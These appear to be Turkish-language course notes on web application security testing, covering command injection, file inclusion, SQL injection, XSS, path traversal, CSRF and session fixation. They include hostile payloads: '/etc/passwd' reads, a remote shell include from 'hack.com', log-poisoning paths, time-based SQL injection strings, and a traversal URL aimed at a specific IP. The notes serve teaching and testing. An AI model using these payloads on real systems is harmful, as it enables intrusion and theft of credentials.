Special Characters (and their URL encodes) for URL Strings

& (%26)
URL sorgu tümcesindeki parametreleri mesaj gövdesinden ayırmada kullanılır.


= (%3d)
URL sorgu tümcesindeki parametrelerin isimlerini ve taşıdıkları değerleri ve mesaj gövdesini ayırmada kullanılır.


? (%3f)
URL sorgu tümcesinin başlangıcını işaretlemek için kullanılır.


Space (%20 or +)
Taleplerin (Request) ilk satırında URL'in sonunu işaretlemek için kullanılır. Ve Cookie header'ında bir cookie değerinin sonunu belirlemede kullanılabilir. (+ karakterinin URL Encode'u %2b)


; (%3b)
Cookie header'ındaki bireysel cookie'leri ayırmada kullanılır.


# (%23)
URL içindeki bölüm tanımlayıcılarını (fragment identifier) işaret etmede kullanılır. Bu işaretten sonraki server'a gönderilmez.


 % (%25)
URL encoding için başlangıç karakteridir.


null (%SıfırSıfır)
URL'i sonlandırır.

Web Application Hacker's Methodology

21: AJAX Denetimi

• AJAX: Asynchronous Javascript And XML
• AJAX, yeni bir teknoloji değil, bir standart. Tamamıyla Javascript, DOM, XML, HTML/DHTML teknolojilerinin birleşiminden ortaya çıkar. 
• AJAX'ın önemli bir tarafı asenkron olması; bir isteğin cevabını beklemeden yeni bir istek yapabilirsiniz. Asenkronluk XMLHttpRequest objesi ile yapılır.
• Son dönemde XML'in yerini JSON almış durumda.
• AJAX uygulamalarında genelde dizayn hatası yapılır. AJAX, istemcide çalışır, developer uygulamayı geliştirirken genelde bunu düşünmeden geliştirir. Bununla birlikte AJAX için kullanılan frameworklerde de açıklıklar olabiliyor. Örneğin bir Java kütüphanesi olanDWR (Direct Web Remoting)

20: Web Services Security

• SOA (Service Oriented Architecture) için en önemli yapıtaşlarının başında web servisleri gelir. Servis, tek başına, başka bir modüle bağımlı olmaksızın bir işi gerçekleştiren fonksiyondur. Servisler arası iletişim homojen olmak zorunda değildir, yani service consumer ile service provider aynı dilde yazılmış olmak zorunda değildir. Aralarındaki ortak dil de genellikle XML'dir ve iletişim de genelde HTTP üzerinden gerçekleşir.
• 2 ana web service tipi vardır:
• Klasik web servis: XML, SOAP, WSDL, HTTP
• Web API: RESTful, HTTP, XML/JSON (Javascript Object Notation)
• Klasik web servisleri çalışma senaryosu aşağıdaki gibidir. Bu en yaygın senaryodur, yoksa mesela protokolün SOAP olması zorunluluğu yoktur. 1 ve 2 tek seferlik işlemlerdir, sonra 3 ve 4 defalarca tekrar edebilir:
1. İstemci WSDL URL'i çağırır (GET)
2. WSDL dokümanı istemciye gönderilir
3. İstemci bu dokümana göre SOAP isteğini oluşturur ve sunucuya POST eder
4. Sunucu SOAP cevabını gönderir.
• SOAP: Simple Object Access Protocol. Yapısal veri transferi için kullanılan XML tabanlı bir iletişim protokolü.
• WSDL: Web Services Description Language. Dışarı hizmet olarak sunulan bir web servisinin interface'i. Hangi metotlar var, input ve output parametreleri neler vs.
• SOAP UI aracı, web servis kullanımını kolaylaştıran bir araç. WSDL verilir, web servisin arayüzü görüntülenir. Bu arayüz üzerinde input parametreler üzerinde kolayca oynanarak web servisi çalıştırılıp sonucu görüntülenebilir.
• Web API çalışma senaryosu:
• İstemci, GET veya POST talebi ile URL çağırır.
• Web servisi XML veya JSON cevabı gönderir.
• REST: Representational State Transfer. Klasik yaklaşımda 53 numaralı faturayı şu şekilde görebiliriz: .....faturalar/goster.php?id=53. REST yaklaşımında ise GET talebi şu şekilde oluşur: GET /faturalar/53 HTTP/1.1 ....... Mesela faturayı silmek için de DELETE /faturalar/53 HTTP/1.1 ...... request'i yerine GET /faturalar/sil/53 HTTP/1.1 ...... request'i kullanılır. Otomatik açıklık tarayıcılar için kötü bir durum oluşturur bu. Parametre yok, request keyword sadece GET...
• Google ile bilgi toplama. Bu faz aynı zamanda WSDL scanning olarak da bilinir.
• inurl:wsdl yada inurl:.wsdl yada inurl:?wsdl yada filetype:wsdl
• inurl:/axis/services "Hi there, this is an AXIS service!" Web servis yazmada kullanılan frameworklerin özelliklerini kullanarak açıklık aranabilir.
• inurl:/axis2/services/listServices
• XML Entity Expansion saldırısı... Merak edersen webde aratıp incele.
• WSDL Scanning için back|track içindeki bir otomatize araç: WSFuzzer. Çok iyi değilmiş.
• Başka bir otomatize araç: WSDigger by foundstone. Kurup incelemekte fayda var. WSDL URL'leri üzerinde şunları test eder:
• SQL injection
• Xpath injection
• XSS

19: OS Commanding

İşletim Sistemi Komut Enjeksiyonu: OS Commanding - OSI

• Tanımı: Saldırganın izinsiz olarak web uygulamasını kullanarak işletim sisteminde komut çalıştırması.
• GENEL: Saldırıları genel olarak şu şekilde sloganlaştırabiliriz:
• Veritabanında komut çalıştırılması,
• PHP'de komut çalıştırılması,
• İşletim sisteminde komut çalıştırılması,
• Browser'da komut çalıştırılması.
• Bu açıklık, uygulama yazılımının kullanıcıdan gelen girdiyi kontrol etmeden işletim sistemine göndereceği komutları oluşturmak için kullanması ile oluşur.
• Senaryo:
• Saldırgan normal parametrelerin içine OS komutları da koyarak uygulamaya gönderir (";" karakteri ayraç, kilit rol taşıyor!)
• Uygulama, aldığı bu değerin OS komut bölümünü alır ve muhtemelen başka bir komut parçası ile birleştirerek OS komut yorumlayıcısına yada direk işletim sistemine gönderir.
• OS bu komutu çalıştırır ve cevabını uygulamaya geri gönderir.
• Uygulama, OS'in gönderdiği cevabı sayfayı oluşturmak için kullanır. Cevap sayfanın içinde olabilir yada sayfanın içeriğinden cevap anlaşılabilir.
• Örnek bir kod:

public String executeCommand(String hostName) {

    Runtime rt = Runtime.getRunTime();

    rt.exec("cmd.exe /C nslookup " + hostName);

}

// Kullanıcıdan alınan hostName parametresi herhangi bir kontrole tabi tutulmadığı için OS Commanding injection açıklığına tamamen açık.

• Neden olduğu problemler:
• Sunucu ele geçirme
• Hizmet dışı bırakma
• Whitehatsec'in 2009 istatistiklerinde komut enjeksiyonu açıklığı yok. Eskiden PERL'da ve C'de varmış, artık API'ler çağırılarak komut çalıştırılıyor. Yine de, Linux'te arayüzü olmayan open source uygulamalar için arayüz yazan gönüllülerin yazdıkları uygulamalarda bu açıklıklara rastlanabiliyor.
• Test teknikleri: URL'deki id parametresine şu değerler yollanır: 
• ?id=/bin/ls | (| operatörü özellikle Perl tabanlı uygulamalarda kullanılabilir)
• ?id=;cat /etc/passwd (Unix tabanlı işletim sistemleri üzerinde)
• ?id=; cat /../etc/X11/../passwd (Kara liste yönetmiyle komut enjeksiyonu saldırılarını engellemeye çalışan uygulamalarda /etc/passwd dizgisi kara listededir, bu şekilde bir ayak oyunuyla kara liste kolayca aşılabilir)
• "?id=| dir C:\" yada "?id=|| dir C:\" yada "?id=& dir C:\" yada "?id=&& dir C:\"

18: Code Injection

• PHP uygulamalarında en fazla exploit edilen açıklık türüdür.
• RFI / LFI: Remote File Inclusion / Local File Inclusion.
• Tanımı: Saldırganın hedef web uygulaması üzerine zararlı kod veya kod parçacığı eklemesidir.
• Sunucu tarafındaki bir açıklıktır, sunucu tarafına kod eklenir.
• PHP'de include parametresi önemli. Sonrasında gelen dosyayı bulur, çalıştırır, sonucunu yerleştirir.
• RFI: .....?id=http://hack.com/myshell.txt. Sondaki null karakteridir. Null, satır sonu anlamına gelir. Uygulama, dosya adının sonuna ".php" koyuyorsa bile null karakteri ile satır sonlandığından bu uzantı dikkate alınmayacaktır.
• LFI (Sunucu üzerindeki bir dosya/kod dahil etme): .....?id=../../../../../uploads/myshell.txt
• Bu iş için önce istediğimiz dosyayı sunucuya upload etmemiz gerekir. Bunu yapabilmek için bir örneği "Yayınlanmış Zafiyet Arama Teknikleri" başlığı altında görmüştük. Komutu access.log'a gömüp bu dosyaya erişiyorduk.
• Benzer şekilde PHP için URL sonuna "?" de konabilir; bu karakterden sonrası query string olarak algılanacaktır, dolayısıyla .php uzantısı saldırının gerçekleştirilmesinde probleme neden olmayacaktır.
• LFI örneği: Resim upload edilen bir alanda açıklık var ve resim yerine kodumuzu içeren dosyayı upload ettik. Dosyanın yerini bulmak için upload edilmiş bir resimin özelliklerine bakabiliriz.
• Test için: Bazı kod enjeksiyonu test parametreleri:
• ?file=.htaccess
• ?file=../../../../../../../../var/log/apache/error.log
• ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
• ?file=php://filter/convert.base64-encode/resource=index.php (sayfanın base64 encoded halini döner, onu da burp vb aracından decode ederiz)
• ?file=http://websec.wordpress.com/shell.txt%23
• Tüm bu parametreleri tek tek denemeyeceğiz, otomatize araçlar bunu bizim için yapacak, Netsparker mesela.

17: SQL Injection

• Saldırganın web uygulamasını kullanarak hedef veritabanında SQL sorguları çalıştırması şeklinde gerçekleşir.
• Saldırı senaryosu:
• Saldırgan, input alanından normal parametreler içine SQL sorguları da koyarak uygulamaya gönderir.
• Uygulama, bu SQL parçasını parametrelerle birlikte ilgili SQL cümlesiyle birleştirerek veritabanına gönderir.
• Veritabanı, sorguyu çalıştırıp sonucunu uygulamaya döner.
• Uygulama, veritabanından aldığı cevabı web sayfasını oluşturmak için kullanır. Cevap sayfanın içinde olabilir yada sayfanın yapısından cevabın içeriği anlaşılabilir.
• Örnek: Uygulama, kullanıcıdan id numarası alıp "SELECT * FROM USERS WHERE ID=$id" sorgusunu oluışturuyorsa, parametre yerine "100 or 1=1" gönderdiğimizi düşünelim. Oluşacak sorgu: "SELECT * FROM USERS WHERE ID=100 or 1=1" olacaktır ki bu da USERS tablosundaki tüm kayıtların dönmesini sağlar.
• Güncel örnek: 23 Kasım 2009'da SQL Injection ile Symantec'in tüm veritabanı indirilmiş.
• Neden olduğu problemler:
• Bilgi hırsızlığı
• XSS (veritabanının bir alanına bir script gömebiliriz)
• IFrame enjeksiyonu ile botnet oluşturma
• Sunucu ele geçirme (SQL Server xp_cmd_shell yordamı, Oracle'da load_file gibi araçlar kullanarak sunucu ele geçirilebilir)
• www.whitehatsec.com 2009 istatistiği: Bulunan açıklıkların %7'si SQL injection açıklığı.
• Uygulamalarda ORM (Object Relational Mapping) kullanarak bu açıklığın önüne geçilir. Developerların en iyi bildiği açıklık tipi SQL injectiondır.
• Test teknikleri:
• URL'de şöyle bir şey olsun: "/urundetay.aspx?id=5". 5 inputunun yanına bir tırnak koyalım: "/urundetay.aspx?id=5'" sonucunda detaylı bir veritabanı hata sayfası gelirse bir ışık yanar, burada bir SQL injection açığı olabilir diye düşünmeye başlarız. İlk deneyeceğimiz şey input olarak girdiğimiz değerin yanına tırnak koymak olsun.
• "/urundetay.aspx?id=5 waitfor delay '00:00:05' -- " olunca 5 sn gecikmeli olarak orijinal cevap gelirse açıklık var demektir ("waitfor delay", MS SQL syntax'ı, MySQL'de ise "sleep(10)" saniye bazında).
• "--" pattern, SQL için bundan sonrası açıklama satırı anlamına gelir. İşimizi garantiye almış oluruzi her zaman kullanabiliriz. Dikkat: MySQL'de --'den sonra bir de boşluk bekliyor, boşluk olmazsa açıklama satırı başlangıcı olarak algılamıyor! MySQL için # karakteri de sonrasının açıklama satırı olduğu anlamına gelir.
• 3'lü test: Yukarıdaki örnekte ID Parametresi yerine şunları yazarak şu yanıtları bekleriz (Blind SQL Injection):
• 5 => Orijinal cevap döner;
• 5 and 5=5 => Orijinal cevap döner;
• 5 and 5=6 => Hata döner (kayıt yok).
• 3 sonuç da beklediğimiz gibiyse SQL Injection açıklığı var demektir.
• String input alan bir URL için test:
• /goster.do?isim=muro => select * from users where isim='muro' => açıklık varsa muro'nun bilgileri döner.
• /goster.do?isim=muro' => select * from users where isim='muro'' => açıklık varsa hata döner (engellenmediyse veritabanı hatası).
• /goster.do?isim=muro' and SLEEP(5) %23 => select * from users where isim='muro' and SLEEP(5) #' => açıklık varsa 5 sn gecikmeli olarak muro'nun bilgileri döner. Burada # karakteri terine URL encode kodunu gönderdik, çünkü URL için # karakteri anchor anlamına geliyor (sayfa içi adresleme).
• Bazen developer, parametreden önce n sayıda parantez açabiliyor, bu durumda parametreden sonra o kadar sayıda parantezi kapatmak gerekir. Bu durumu dönen hata mesajındaki "missing right parenthesis" türü bir açıklamadan anlayabiliriz.
• SQL Injection tarama için bir araç: sqlmap.
• Back|track uygulamasında /pentest/database/sqlmap/ altında sqlmap.py python uygulaması.
• Oracle driverları batch uygulama çalıştır(a)mıyor. Örneğin parametre yerine "3; drop table users;" gönderip "select * from users where id=3; drop table users;" komutlarını oluşturmaya çalışsak ikinci sorgu (drop) çalıştırılmaz.
• Blind SQLi tekniği, web uygulaması veritabanı hataları mesajlarını göstermediği durumlarda ve bilgi elde etmek için UNION işlecini enjekte edemediğimiz durumlarda kullanılır.

16: XSS (Cross Site Scripting)

• En ciddi etkiyi 2006 yılında yapmaya başladı. "Yeni buffer overflow artık XSS"
• Tanımı: İstemci tarafında html/dhtml/css veya javascript kodunun izinsiz olarak kurbanın tarayısında çalıştırılması. Sunucudaki açıklık kullanılarak kurbanın browser'ına saldırılıyor.
• 3 çeşidi var:
• Reflected XSS
• En çok görülen XSS türüdür.
• Senaryo: Saldırgan, sunucudaki açıklığı kullanacak bir link oluşturur. Linki kullanıcıya gönderir ve kullanıcıyı o linki kullanarak uygulamaya girmeye ikna eder. Kullanıcı linke tıklar, sunucu da isteğe uygun web sayfası içeriği hazırlayıp kullanıcıya yollar. Bu cevapta saldırganın hazırladığı URL nedeniyle kötü amaçlı yapısal değişiklikler vardır. Kullanıcının tarayıcısında dönen sayfa çalıştığında yetkisiz kod çalıştırılmış olur.
• Kullandığımız zayıflık sunucunun açıklığı fakat hedefimiz kullanıcının tarayıcısı. Saldırgan, zehirli URL'ini kullanarak kurbana sunucuyu zehirlettiriyor; daha sonra kurban uygulamanın veritabanından zehirli bölgeye erişince kendisi zehirleniyor.
• Burada kullanıcıyı ikna etmek session fixation'a göre daha kolay, çünkü domain olarak kullanıcı doğru domain'i görür, şüphelenmez.
• Stored XSS
• Saldırgan sunucuda bir açıklık görür ve bir istek gönderir. O istek sunucuda saklanır (store).
• Hiç kimseyi ikna etme gereksinimi yok, kullanıcı kendisi geliyor uygulamaya. Misal, gazetelerin yorum sayfaları. Browserda sayfa görüntülendiğinde script çalıştırılmış oluyor.
• Reflected XSS'e göre daha etkili, çünkü
• Kimseyi ikna etme derdi yok.
• Bir kere yükledikten sonra herkes etkileniyor.
• DOM-based XSS
• Bir denetlemeye gittiğimiz zaman şunu mutlaka sormalıyız: Birilerinin input girdiği, diğerlerinin bu inputu okuduğu bir arayüz var mı? Mesajlaşma vs.
• Bilinen ilk XSS wormu: 2005 yılında MySpace sosyal paylaşım sistemini etkileyen SamyJSWorm. Samy, profiline (sevdiği kitaplar benzeri bir alana) javascript yazıp gönderiyor. Bakıyor ki veritabanına kaydedildi, profil geri geldiğinde Samy'nin sayfasına, o script çalışıyor. Samy, profiline browserda çalıştığında (profiline baktığı anda bakan kişinin tarayıcısında) kendisini arkadaş olarak ekleyen bir kod gömüyor. Script aynı zamanda kendisini profili açan kişinin profiline de kopyalıyor ki solucan dağılsın. 24 saat içinde Samy'nin 1 milyonun üzerinde arkadaşı oluyor.
• Stored XSS'i önlemenin 3 yöntemi var:
• Black List: Keyword'leri yasaklamak. Bu yanlış bir çözüm, kesinlikle bu yöntem kullanılmamalı.
• Input alanında sadece girilmesi gereken karakterlere izin ver. [a..zA..0..9][.,] gibi. Yada sayısal bir alana sadece 0..9 ve . karakterlerine izin vermek gibi.
• O alana karakter encoding kodunu da, HTML taglerini de, javascript taglerini de koymak istiyoruz. Bu durumda da 2 yöntem var:
• Sayfayı kullanıcıdan aldıktan sonra HTML encode'dan geçiririz. Mesela < işaretini &lt'ye çeviririz, browser onu tag starter olarak yorumlamaz. Ama bu yeterli değil, link içindeyse karakter URL encode, javascript ile gönderiyorsa javascript encode... developer bunu bilip o encode'u uygulaması lazım.
• Sadece temiz HTML kabul eden API'ler çıktı. Örnek: HTML Prufier (PHP), OWASP Anti-Samy API'si (Java muhtemelen).
• Neden olduğu problemler:
• Bilgi hırsızlığı: Session bilgisi (cookie) çalınabilir, clipboarddaki veri çalınabilir (IE7'den itibaren bir başkasının clipboard bilgisini almak istediği konusunda browser uyarıyor)
• İçerik değişikliği (Defacement)
• Geçmiş tarama, port tarama
• Dahili IP çalma, Web Spidering, XSS Botnet
• Açıklık tarma, Worm.
• Whitehat Security 2009 istatistiği: test edilen sistemlerde bulunan açıklıkların %65'i XSS açıklığı. Büyük çoğunluğu reflected XSS.
• XSS ile zombie bilgisayarlar (botnet) oluşturmak için bir uygulama: http://www.bindshell.net'ten erişilebilecek BeEF uygulaması.
• Stored XSS-Manuel test teknikleri:
• Input alanına "Hello<qwe>" girelim, sonuç stringinde <qwe> görülmezse ve fakat sayfanın source'unda <qwe> bir HTML tag gibi görülüyorsa stored XSS açıklığı var demektir.
• Input alanına <plaintext> girilir. Bu HTML tag'i bundan sonrası düz bir texttir demektedir; bundan sonra gelen tüm HTML tagleri artık HTML değil de string olarak algılanır ve sayfayı o şekilde basılır. Input alanına bunu girdiğimizde sayfanın kalanı bozulursa XSS açıklığı var demektir. Yalnız canlı sistemlerde bunu kullanmamak lazım, açıklık varsa sayfayı bozmuş oluruz.
• Bak: XSS Cheat Sheet; ha.ckers.org/xss.html. Bir sürü XSS test tekniği mevcut.
• XSS konusunda en popüler cheatsheet dokümanı yöneten Rsnake (Robert Hansen), sayfasında “XSS Locator” olarak adlandırdığı bir test dizgisi barındırmaktadır. Bu dizgi test  sayfasında “XSS Locator” olarak adlandırdığı bir test dizgisi barındırmaktadır. Bu dizgi test edilecek her parametrenin değeri olarak eşitlenir ve tarayıcıda bir javascript alert kutucuğu görülürse uygulamada ilgili parametre XSS zafiyetinin olduğu anlaşılır. 
• RSnake tarafından yazılmış http://ha.ckers.org/xss.html adresindeki tüm kalıpları bir otomatik tarayıcı kullanması gerekir.
• alert() metodu, IDS (Intrusion Detection System) sistemleri tarafından yakalanıyor genelde. Bunun yerine prompt() kullanabiliriz; bu metodu bazen kaçırabiliyorlar.

15: Path Traversal (Dizin Gezinimi)

• Genellikle web sunucularında çıkan bir açıklık.
• Uygulamalar, sunucuda bulunan dosyaları direk isimleriyle çağırabilir. Path değiştirilerek erişilmesi istenmeyen dosyalara uygulama aracılığıyla erişim sağlanabilir.
• Şu isimlerle de bilinir:
• Directory traversal
• Dot-dot-slash (../)
• Directory climbing
• Mesela URL’deki “path=” öbeği, bize path traversal olabileceğine dair bir ipucu verir.
• Örnek: petphotos/navigation.php?path=../../../../../../../../../../etc/passwd
• ../ öbeğinin engellenmiş olabileceği ihtimaline karşılık bu karakterlerin URL encoding karşılıklarının kombinasyonları da denenmelidir: %2e%2e%2f gibi.
• Google’da bu açıklığı kullanabileceğimiz sayfa arama: “inurl:next_file”. “Site:” ile de sadece hedef domainimizde arama yapabiliriz. Sonra bu sayfayı şu şekilde kullanabiliriz: “http://93.99.25.197/main.cgi?next_file=%2fetc%2fpasswd”

14: CSRF (Cross Site Request Furgery)

• See-Sirf şeklinde okunur.
• Kurbanın bilgisi olmadan, sanki kurbandan geliyormuşçasına kurbanın ziyaret etmekte olduğu siteye isteklerin yollanması şeklinde saldırı gerçekleştirilir.
• Kullanıcının tarayıcısını bir kaldıraç gibi kullanarak tarayıcı üzerinden talebini gönderir.
• Bir site, başka bir siteye istek gönderebilir (başka siteye link vermesi mesela), ama istek sonucunu göremez, çünkü SOP (same origin policy) aynı değil. Ama CSRF’in güzel tarafı, cevabı okumaya zaten gerek yok, isteği yapsın yeter.
• Saldırı senaryosu şu şekildedir:
• Kurban, A sitesine giriş yapar
• Başka bir tabda zehirli B sitesine girer
• B sitesi kurbanın tarayıcısına yüklenir yüklenmez A sitesine istek yapar (Saldırgan, kurbanın A sitesine girmiş olduğu tahmin ediyor. Facebook, gmail gibi çok girilen siteler olabilir mesela. Yada saldırganın CISCO ile ilgili bir blog açtığını, bu bloğa CISCO yöneticisinin geleceğini ve onun tarayıcısında da CISCO’nun web yönetim uygulamasının açık olacağını düşünebiliriz)
• A sitesi gelen talebin kurbandan olduğunu kabul ederek talebi devreye alır.
• IE, her ekran için ayrı bir session açar fakat aynı ekrandaki her tab için tek session kullanır. Firefox, her tab için tek bir session kullandığı gibi tüm ekranlar için de tek bir session kullanır. Açıklık da burada zaten. Chrome’da her tab için ayrı bir process başlatıldığı için bu açıklık oluşmaz.
• Bilgi güvenliğinde CSRF açıklığı “Confused Deputy” (Şaşkın vekil) sınıfı altında değerlendirilir. Confused Deputy genel olarak kullanıcının verilen hizmetleri bir vekile güvenerek onun üzerinden almasıdır (müşterinin bankaya gitmeden internet tarayıcısı üzerinden internet bankacılığını kullanması gibi). Burada deputy tarayıcıdır.
• CSRF açıklığı manüel olarak nasıl test edilir?
• Bunun için kişisel web proxy’ler kullanılır (Burp, webscarab vs)
• Proxy aktifken uygulama kullanılır.
• Daha sonra uygulamadan çıkmadan Proxy kullanılarak istek “replay” edilir.
• Tekrarlanan işlem sonucu orijinal cevap ile aynıysa CSRF zafiyetinden bahsedilir.
• Daha detaylı bir manuel test için
• Burp açıp istek yapın,
• Logout olun,
• Tekrar login olun,
• Orjinal isteği (ilk logindeki request) Burp ile replay edin; sadece yeni login olduğunuzda aldığınız cookie'yi yerine yerleştirecek şekilde değişiklik yapın,
• İlk cevapla yeni aldığınız cevabın tutup tutmadığını kontrol edin. Tutuyorsa CRSF vardır.
• Otomatik açıklık tarayıcılarının CSRF açıklığı bulma oranı çok çok düşük. Bu nedenle CSRF açıklığı konusunda manuel tarama yapmak önemli. Burp vb. ile manuel taramalar yapmak gerekir bu açıklık için.
• Hassas sonuçlu işlemler ve özellikle GET tipi ve AJAX istekler öncelikli olarak test edilmelidir.
• Klasik POP istekleri özellikle .NET uygulamalarında çatıların default özellikleri nedeniyle açıklığa karşı dayanıklıdır. Yine de dikkat, bu özellikler değişemez değil sonuçta!
• Otomatik test teknikleri de var ama çok etkili değil.
• CSRFTester.

13: Session Fixation

• Oturum bilgisinin saldırgan tarafından kullanıcıya kabul ettirilmesi şeklinde gerçekleşir.
• Bir araba hırsızlığı şeklinde anlatılabilir:
• Bir araba satın alınır,
• Anahtarının kopyası çıkarılır,
• Araba başkasına satılır,
• Yeni sahibi yokken kopya anahtar ile araba çalınır.
• Bu örnekteki anahtar, web uygulamalarındaki cookie’ye denk gelmektedir.
• İstemci tarafında cookie oluşturmanın birden fazla yolu vardır:
• Javascript ile,
• HTML meta elementi ile,
• URL ile.
• PHP => https://sunucu/login.php?PHPSESSID=jfsdk78fsdh78sfdha678q
• JAVA => https://sunucu/login.do;JSESSIONID= jfsdk78fsdh78sfdha678q
• Session fixation saldırısı şu adımlarla gerçekleştirilir:
• Saldırgan, hedef uygulamaya kimlik doğrulama yapmadan girerek oturum bilgisini alır
• Oturum bilgisini kullanıcıya kullandırır / kullanıcının tarayıcısına bu oturum bilgisi tanıtılır (Örneğin kullanıcının cookie’yi içeren linke tıklayarak uygulamaya girmesi sağlanır)
• Kullanıcı hedef uygulamaya kimlik doğrulama yaparak girmesi beklenir.
• Bundan sonra saldırganın yapması gereken birkaç şey daha vardır; bunlardan biri de periyodik olarak oturum bilgisini uygulamaya göndererek bilginin geçerliliğini korumaktır.
• Session Fixation açıklığı olup olmadığının manuel testi şu şekilde yapılır:
• Hedef sunucuya login olmadan giriş yapılır. Dönen HTTP response'ta Set-Cookie header dönecektir.
• Cookie alındıktan sonra login olunur / login isteği gönderilir (POST). Dönen HTTP response'ta Set-Cookie header'ı yoksa uygulama ilk verdiği cookie'yi login olduktan sonra da kullanıyor demektir; bu da SESSION FIXATION AÇIĞI VAR demektir.
• http://shiflett.org/articles/session-fixation